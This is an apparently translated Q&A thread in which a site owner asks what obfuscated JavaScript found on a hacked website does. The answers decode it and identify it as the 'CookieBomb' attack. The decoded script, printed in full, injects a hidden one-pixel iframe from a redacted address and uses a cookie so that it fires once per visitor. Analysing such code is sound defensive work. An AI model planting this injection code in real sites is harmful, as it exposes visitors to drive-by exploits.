javascript - 在网站上发现恶意代码，它有什么作用？

Question

我在一个要求我提供帮助的网站上找到了这段代码，它造成了各种各样的混乱。起初它重定向到另一个站点，我想尝试提供某种有效负载。我不知道如何解密这个，我很好奇。有人能指出我正确的方向吗？

用谷歌搜索它的一部分会发现很多网站似乎都有它。

编辑：我似乎无法发布整个内容，因此我已将其粘贴到粘贴箱中以供感兴趣的人使用！ http://pastebin.com/w1eH1JkB

score 7 · Accepted Answer

经过一番折腾，我想出了这个：

var code='';
for(i=0;i<a.length;i++) {
  code = code + String.fromCharCode(parseInt(a[i],8)-4);
}
console.log(hax);

解码“a”并输出：

 function zzzfff() {
 var y = document.createElement('iframe');

 y.src = 'REDACTED';
 y.style.position = 'absolute';
 y.style.border = '0';
 y.style.height = '1px';
 y.style.width = '1px';
 y.style.left = '1px';
 y.style.top = '1px';

 if (!document.getElementById('y')) {
 document.write('<div id=\'y\'></div>');
 document.getElementById('y').appendChild(y);
 }
}
function SetCookie(cookieName,cookieValue,nDays,path) {
 var today = new Date();
 var expire = new Date();
 if (nDays==null || nDays==0) nDays=1;
 expire.setTime(today.getTime() + 3600000*24*nDays);
 document.cookie = cookieName+"="+escape(cookieValue)
 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie( name ) {
 var start = document.cookie.indexOf( name + "=" );
 var len = start + name.length + 1;
 if ( ( !start ) &&
 ( name != document.cookie.substring( 0, name.length ) ) )
 {
 return null;
 }
 if ( start == -1 ) return null;
 var end = document.cookie.indexOf( ";", len );
 if ( end == -1 ) end = document.cookie.length;
 return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');

zzzfff();
}
}

此代码从另一个站点加载 iframe。看起来它只是在跟踪访问者，但他们可以在 iframe 中做任何事情（比如尝试浏览器漏洞利用）。

score 1 · Accepted Answer

The content of the encrypted stuff is the so-called "CookieBomb"-Attack, which is quite often used recently. The decryption and activation is explained in detail in Jeffrey Sambells' "Anatomy of a Hack".

A good method for finding out what's behind this kind of "encrypted JS-stuff" is to prettify the source and putting a debugger; statement just before something is eval()-ed or written into the document or substituting those with console.log() and running them in a JavaScript console. If it should be executed in the client, the evil-makers must always include a decoding mechanism.

JavaScript, obfuscation and the cookie is used to avoid robots getting aware of the "infection". Searching the web for document.body++ or function zzzfff brings a lot of results, however.

Worth noting, thatss.fromCharCode.apply(ss,a) - the decoding function - will be only eval-ed if zz had a value of 2 before and document.body++ succeeded or the client's implementation did something wrong; thus targeting to something very specific (or the coder of this snippet did something wrong).

javascript - 在网站上发现恶意代码，它有什么作用？

2 回答 2

Related

Reference